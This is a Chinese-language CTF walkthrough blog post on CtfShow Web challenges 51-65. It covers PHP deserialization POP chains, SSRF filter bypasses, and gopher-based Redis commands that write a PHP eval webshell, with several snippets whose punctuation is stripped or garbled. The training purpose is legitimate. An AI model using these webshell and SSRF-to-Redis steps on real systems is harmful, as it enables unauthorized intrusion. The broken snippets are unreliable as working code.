资讯动态

CtfShow Web入门51-65:反序列化与SSRF实战解析

发布时间:2026/9/30 17:35:31 来源:尧图企业网站定制
1. 从零开始的CtfShow Web入门51-65题到底在练什么CTF圈子里一直有个说法Web题是入门最容易、深入最难的板块。CtfShow的Web入门系列正好卡在这个节点上——前面50题帮你把SQL注入、文件包含、命令执行这些基础姿势过了一遍到了51-65这道坎考察的东西突然就不单纯了。我做这套题的时候最大的感受是它不再单纯考某个漏洞怎么打而是开始考你怎么在真实业务逻辑里找到漏洞点。如果说前50题是教你怎么用刀那51-65就是教你在哪下刀、什么时候别乱砍。这篇博文我会把51-65的完整做题思路、关键突破点、以及我踩过的坑全部梳理出来。适合人群有三类刚刷完CtfShow Web 1-50、正在过渡期挣扎的新手想要系统梳理PHP伪协议、反序列化、SSRF这些高频考点的选手准备打CTF比赛但Web经验零散的爱好者先说结论这15道题的核心考点集中在反序列化、SSRF、代码审计、以及各种看似人畜无害的文件处理逻辑上。每一题都有它独特的故事背景你需要像做侦探一样从代码里找出那个不对劲的地方。2. 环境准备与做题方法论为什么很多人卡在51题就放弃了2.1 本地环境的搭建思路刷CtfShow这类在线靶场其实不需要太重的本地环境但你至少要有这几个工具在手边Burp Suite抓包改包的核心工具Web题没有它等于少了一只手HackBarFirefox插件或浏览器自带的Fetch/编辑器快速构造POST请求和Payload一个趁手的代码高亮工具在线靶场给的源码经常是PHP文件你需要能快速看清逻辑Python3环境遇到需要跑脚本爆破或构造序列化数据的时候用得上我第一次做51题的时候犯了个错误——一上来就疯狂试SQL注入的Payload结果试了半天毫无反应。后来冷静下来先把源码看完才发现这题压根不是注入而是反序列化漏洞。提示CtfShow的Web入门题有一个共性——每道题都给了完整的源码答案就藏在源码里。做题第一件事永远是看代码而不是盲目扫描。2.2 做题的正确打开方式我把我的做题流程固定成了五步后面每道题都按这个节奏走打开靶场页面先看URL参数和页面交互猜测功能点查看源码CtfShow基本都会提供梳理代码逻辑确定攻击面哪里能传参哪里能控制输入哪里调用了危险函数构造Payload用Burp或HackBar发送拿Flag复盘这道题考的到底是哪个知识点这套流程看起来很基础但真的能帮你少走很多弯路。很多新手卡题的原因不是不会Payload而是跳过了第2步直接进了第4步。3. 51-55题精讲从反序列化到POP链的思维跃迁3.1 web51不可小觑的代码审计入门web51题目的考察点非常直接——PHP反序列化漏洞。这也是从入门到进阶的必经之路。先看源码伪代码形式class Animal { public $name; public $age; public function __destruct() { echo $this-name; } } $data $_GET[data]; unserialize($data);很多人看到unserialize第一反应是反序列化漏洞但为什么它危险这里要理解PHP的魔术方法机制。当对象被销毁时__destruct会被自动调用如果name属性可控你就能在这里执行任意代码。我的第一个Payload长这样O:6:Animal:2:{s:4:name;s:10:phpinfo();;s:3:age;s:1:1;}结果没成功。原因很简单——echo $this-name;只是输出了一个字符串并没有执行它。这里要利用的是类中其他魔术方法比如__toString、__call或者在name中构造一个对象触发连串调用。真正能打通这题的思路是寻找源码里有没有其他类这些类里有没有危险函数比如eval、system、file_put_contents。这其实就是POP链的雏形——通过控制一个对象的属性值触发一系列方法调用最终到达危险函数。我后面会详细展开POP链的构造方法因为56-60题里这就是核心中的核心。3.2 web52-53过滤与绕过的博弈到了52题代码里开始出现过滤了。这是Web题最常见的套路——你以为你在绕过滤其实你在被过滤绕。52题的典型代码$data $_GET[data]; $data str_replace(php, , $data); unserialize($data);只过滤了php字符串。如果序列化字符串里恰好包含php字样比如类名是PHPClass那直接替换就破坏了序列化结构。这时候有几个思路双写绕过php替换为空那我把pphphp传进去过滤后变成php但序列化长度对不上会报错大小写绕过PHP、Php并不等于phpPHP反序列化对类名大小写敏感吗这里要说明一个重点PHP反序列化对类名是大小写不敏感的。O:6:Animal和O:6:animal在反序列化时指向同一个类。所以当你需要类名中出现php字样时直接改成PHP、Php就能绕过最简单的字符串替换。但52题的真正难度不是这个——而是源码里压根没有现成的危险类需要你自己构造。这就是53题引入的另一个概念phar反序列化。phar文件可以触发反序列化前提是文件操作函数能够识别phar协议。CtfShow 53题就是让你通过phar://协议在一个看似只能上传文件、不能直接传入序列化数据的地方触发漏洞。3.3 web54-55POP链的第一次完整实践54和55是连续剧式题目。54题给了你几个类里面有一个类的某个方法调用了system()你要做的就是反序列化构造一条调用链。还是用一个简化的代码来演示POP链构造思路class A { public $obj; public function __destruct() { $this-obj-run(); } } class B { public $cmd; public function run() { system($this-cmd); } }目标让A对象销毁时调用B对象的run()方法执行任意命令。序列化A对象时把obj属性设成B对象cmd设为要执行的命令$a new A(); $b new B(); $b-cmd cat flag.php; $a-obj $b; echo serialize($a);这段PHP代码跑出来的序列化字符串O:1:A:1:{s:3:obj;O:1:B:1:{s:3:cmd;s:9:cat flag.php;}}把这个字符串作为data参数传进去反序列化后A对象被销毁触发__destruct调用$this-obj-run()而obj是B对象于是执行了cat flag.php。这就是最基础的两层POP链。55题的代码会变成三层甚至四层但思路完全一样顺着代码里的方法调用关系从可控的入口__destruct、__wakeup等一路摸到危险函数。构造这种链子的时候我强烈建议在本地起一个PHP环境用写脚本的方式生成Payload别手动拼字符串——层数一多属性数量和长度很容易算错一错整个反序列化就崩了。4. 56-60题实战SSRF、代码执行与绕过滤的进阶姿势4.1 web56SSRF的入口与出口从56题开始CtfShow把目光转向了SSRF服务端请求伪造。这一块在真实渗透里特别实用很多内网攻击的第一步就是靠SSRF打进去的。SSRF的经典场景某个功能需要服务器去请求外部URL比如预览网页、获取远程图片、URL转码。如果能控制这个URL参数就能让服务器访问内网地址。56题的场景是这样的给你一个URL参数服务器用curl去请求这个地址。但源码里有个限制——不允许访问本地地址127.0.0.1、localhost这些。常见的绕过手法我整理了一张表限制方式绕过思路过滤127.0.0.1用127.0.0.2、0.0.0.0、2130706433十进制IP过滤localhost用localtest.me这类DNS解析到127.0.0.1的域名过滤IP关键字用[::1]IPv6环回地址、十六进制IP协议限制用file://、gopher://、dict://替代http://56题的直接解法很简单——换一个等价地址。我印象很深的是127.0.0.0可能绕不过但127.0.0.2能过。具体的原因在于很多程序员写正则时只精确匹配了127.0.0.1这一个字符串。这里有个更隐蔽的点如果你用域名nip.io系列比如127.0.0.1.nip.io解析到127.0.0.1等于换了个壳但地址没变。CtfShow这种入门题基本用最简单的绕过方式就能搞定——比如加个端口、用不同格式表示IP地址。4.2 web57-58端口扫描与内网探测57题的思路和56题完全不一样它要求你通过SSRF探测内网中哪些端口有服务。这其实就是端口扫描的Web化。核心就是认识dict://和gopher://这两个协议。为什么它们能用来探测端口dict://ip:port/如果端口开放且是TCP服务会返回一些响应内容如果端口关闭请求会超时或直接报错gopher://ip:port/内容能发送任意TCP payload用途更广甚至能打Redis未授权访问我本地实测的流程是先写一个小脚本循环尝试不同的内网IP和端口看哪些返回了非空内容。一旦找到开放的服务再根据返回内容判断服务类型——比如返回redis-server字样那就是Redis。58题在此基础上加了限制——服务器必须访问指定的内网主机且只能访问特定路径。这个时候利用gopher://去构造一个完整的HTTP请求就能绕过路径限制让服务器帮你转发一个任意请求到目标内网服务上。SSRF这个知识点在真实渗透里特别重要。我曾经在一个授权测试里遇到过类似场景目标站有个图片下载功能通过SSRF打到了内网的管理后台最后拿到了整个内网段的权限。CtfShow这套题的设置虽然简化了但核心逻辑是完全真实的。4.3 web59-60从SSRF到代码执行59题开始出现一个组合拳先SSRF探测出内网服务再通过特定协议执行命令。最常见的目标就是内网里的Redis。Redis未授权访问的利用方式是CTF和实战中的老套路了通过gopher://协议向Redis发送CONFIG SET dir和CONFIG SET dbfilename命令把WebShell写到web目录下用浏览器访问shell执行命令这里关键是gopher协议的payload构造。gopher的格式是gopher://127.0.0.1:6379/_后面跟的内容会原封不动发给目标服务Redis的写文件payload要按协议格式加上\r\n。比如写一个PHP一句话木马CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SET payload ?php eval($_POST[x]);? SAVE每一条命令后面都要加\r\n而且需要URL编码。这一步我踩过最大的坑就是忘了给特殊字符做URL编码导致gopher发出去了但Redis根本解析不了。60题是这套SSRF组合拳的收尾考的是file://协议直接读取内网文件。当你发现SSRF只是用来读文件时其实可以不用HTTP直接file:///etc/passwd把内容打出来。这类题在CTF里也常出现核心就是记住file协议能读文件gopher和dict能探测和交互HTTP只是冰山一角。5. 61-65题收尾正则绕过、变量覆盖和最后一公里5.1 web61合法输入中的非法逻辑61题进入了一个新的考察点代码逻辑漏洞而不是传统意义上的注入。这类题有个特点——代码里没有任何明显的危险函数但通过某种合法的方式能达到非法效果。典型的例子是变量覆盖。比如代码里这样写foreach ($_GET as $key $value) { $$key $value; }你传一个flag1参数就会把$flag变量覆盖为1。如果后面逻辑判断$flag的值来决定是否输出flag那这题就被你逻辑绕过了。61题的坑在于新手往往盯着有eval或有system的代码行看却忽略了这种看起来人畜无害的foreach。真正的风险往往藏在所有人都会写的通用逻辑里。做这类题的经验是逐行过一遍代码别跳过循环和数组处理。5.2 web62-63正则表达的攻防62、63两题重点考正则过滤。这本身就是一个大话题——正则写得好能杀90%的Payload正则写得烂等于给攻击者指明了突破口。常见的正则绕过手法数组绕过如果过滤函数是preg_match它遇到数组参数时会直接返回false但并不会终止程序。很多新手不知道这个特性。如果你把参数构造成数组过滤就形同虚设换行绕过preg_match默认不匹配换行符。如果你的Payload里包含换行$锚点可能失效多次编码把Payload做URL编码、HTML实体编码让过滤规则匹配不到原始形态拿62题举例如果过滤规则写了preg_match(/flag/i, $cmd)那最简单的方式就是fla\g中间加个反斜杠或者用${flag}之类的变量符号拆开。PHP的字符串解析很有趣双引号内的某些写法会被解析成预期内容。63题进一步升级过滤了几乎所有危险函数但保留了对参数传递方式的限制。这时可以考虑用PHP已有函数做拼接或利用$_GET、$_POST等超全局变量传值。思路是既然过滤的是函数名括号这个组合那我可以让最终执行时的函数名由拼接产生。5.3 web64-65命令执行的最后一课到了64、65题CtfShow开始把前面所有知识串起来——先反序列化再文件操作再命令执行。很多选手能在单点上打好一到组合题就懵。原因在于你平时练习时是知道什么考点来什么打法但组合题里你需要先找到入口再判断是什么漏洞最后选址合适的利用链。64题我记得有一个特别隐蔽的点某个功能模块在写入文件时没有过滤内容但文件后缀被写死为.txt。常规思路是没法直接拿WebShell。但如果利用PHP的include或者文件包含把txt文件中的PHP代码解析执行就能绕过后缀限制。65题则用了Base64编码拼接的方式隐藏Payload。代码可能是这样$cmd base64_decode($_GET[cmd]); system($cmd);看似简单但如果它前面还有一层过滤你就需要把整个命令做编码。这类题的通用解法就是先弄清输入在哪一步被解码、在哪一步被执行中间任何一个环节能插入你的控制内容就有机会。6. 做题实战中的隐性知识点PHP序列化格式与魔术方法速查这部分我单独拿出来讲因为在51-65题里反复用到但很多新手教材都没讲透。6.1 序列化字符串格式PHP序列化格式是一个结构化的字符串规则非常固定O:类名长度:类名:属性数量:{...}表示对象s:属性名长度:属性名;表示字符串属性i:数字;表示整型举例O:5:Class:2:{s:4:name;s:5:hello;s:3:age;i:18;}解读O:5:Class是一个名为Class的对象长度正好为52表示有两个属性花括号里分别是namehello、age18。这个格式你必须烂熟于心因为任何一个小数点错误都会导致反序列化失败。我之前做某题时把属性名长度从4算成了5整个Payload就崩了排查了半天才发现是长度数字写错。6.2 魔术方法触发时机魔术方法触发时机用法__construct实例化对象时构造时初始化__destruct对象销毁时POP链最常见入口__wakeup反序列化时漏洞利用常绕过点__toString对象被当作字符串时制造任意输出__call调用不存在方法时链式调用跳板__get读取不可访问属性时链式调用跳板CtfShow 51-65里考得最多的是__destruct做入口、__call或__toString做跳板。掌握了这几个方法的调用条件绝大多数反序列化题都能读懂。6.3 正则绕过的度很多人学正则绕过时有一个误区以为绕过越多越好。实际上在CTF题目里出题人设置的过滤规则往往不是最严格的里面总有几个缝隙是故意留出来的。做题时应该顺着过滤规则去猜出题人的意图而不是把市面上所有绕过技巧全堆上去。我在做62题时就试了六七种绕过手法结果发现最简单的一种反而在最短时间内就打通了。7. 我在51-65题里踩过的三个大坑刷完这15道题我总结了三个最典型的翻车现场每一条都是血泪教训。7.1 坑一序列化长度总是算错构造反序列化Payload的时候字符串长度必须和实际字符数完全一致。一旦多一个空格、少一个斜杠PHP会直接报错提示Error at offset X of Y bytes。我的解决办法是先用Python脚本自动生成Payload别手写。拿web54举例我写了个简单的Python函数来生成序列化字符串用len()函数自动计算长度彻底告别手算。def build_serialized(cls_name, props): ret fO:{len(cls_name)}:{cls_name}:{len(props)}:{{ for k, v in props.items(): if isinstance(v, str): ret fs:{len(k)}:{k};s:{len(v)}:{v}; elif isinstance(v, int): ret fs:{len(k)}:{k};i:{v}; ret } return ret这种脚本可以应对80%以上需要构造序列化对象的场景。7.2 坑二gopher协议的URL编码不彻底gopher协议对特殊字符要求极其严格连\r\n都必须按%0d%0a编码。我第一次打Redis的时候就是没把空格和换行转义发出去的命令全被Redis当成了乱码。正确做法先把整个payload按ASCII字符逐字节URL编码保留字母数字和部分标点然后把\r\n明确编码为%0d%0a。最好用Python的urllib.parse.quote加上safe参数可以快速生成完整编码串。出现问题的另一种常见原因是目标服务对不同分隔符的处理方式不同。有些服务认\n有些只认\r\n这需要你根据服务类型做调整。CTF里打Redis时我统一用\r\n成功率很高。7.3 坑三只盯着Payload忘了看整体逻辑这是新手最容易忽略的。有时候题目里明明允许你上传一个文件然后再通过另一个功能去读取它。你却一直纠结于这个上传点能不能传PHP——这就是钻进死胡同了。54题和59题尤其考验这点代码里同时给了文件上传和文件读取两个功能单纯看它们各自都没有直接漏洞组合起来才是一个完整的利用链。我在做题时养成一个习惯把每个功能模块在纸上画出来用箭头连一下它们之间的关系图表一画出来攻击路径往往自己就浮出水面了。8. 补充分享这套题练完对真实业务渗透的启发很多人觉得CTF题目脱离现实答对题但做不了实战检测其实也不尽然。CtfShow 51-65这套题练完我最大的体会是真实的Web渗透测试很多漏洞利用路径和CTF逻辑完全一致。举个典型的例子XXEXML外部实体注入里的读文件思路跟这里用file://协议读文件是一模一样的。真实运维中被忽略的内部服务Redis、数据库管理面板恰恰是SSRF最喜欢打的点。我后来在授权测试里遇到一个能访问内网图片的功能立刻想到了这套题里Redis写WebShell的思路顺着打进去几个小时内就拿到了那台内网主机的权限。另一个收获是代码审计的敏感性。刷完这套题我再看业务代码时会下意识关注几个高危点有没有unserialize接收外部输入有没有include或require拼接用户可控变量有没有preg_match过滤但可以用数组绕过有没有curl或file_get_contents请求用户传入的URL有没有奇怪的foreach做变量覆盖这套敏感点清单是CTF训练带给我的最大财富。它不能取代经验但能帮我用更少的时间覆盖更多的风险点。9. 写在最后关于做题顺序和心态的一点经验51-65这套题是CtfShow Web入门里的分水岭——刷完它你算正式告别纯Paylaod复制粘贴阶段开始理解漏洞背后的原理了。我的建议是别跳题。每一题都老老实实做完即使卡住了也别急着看WriteUp先自己死磕三小时把能试的思路都试一遍。这个试错-复盘的过程才是长进最快的地方。最后分享一个我自己用的学习小技巧每完成一道题就在本地建一个Markdown笔记记录三件事——题目考点、我的错误思路、最终解法。看起来简单但坚持做完65题之后一翻每一页都是踩过的坑后续打比赛翻起来特别管用。这比收藏别人的WriteUp要有用得多因为只有自己写的才是真正过了脑子的东西。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑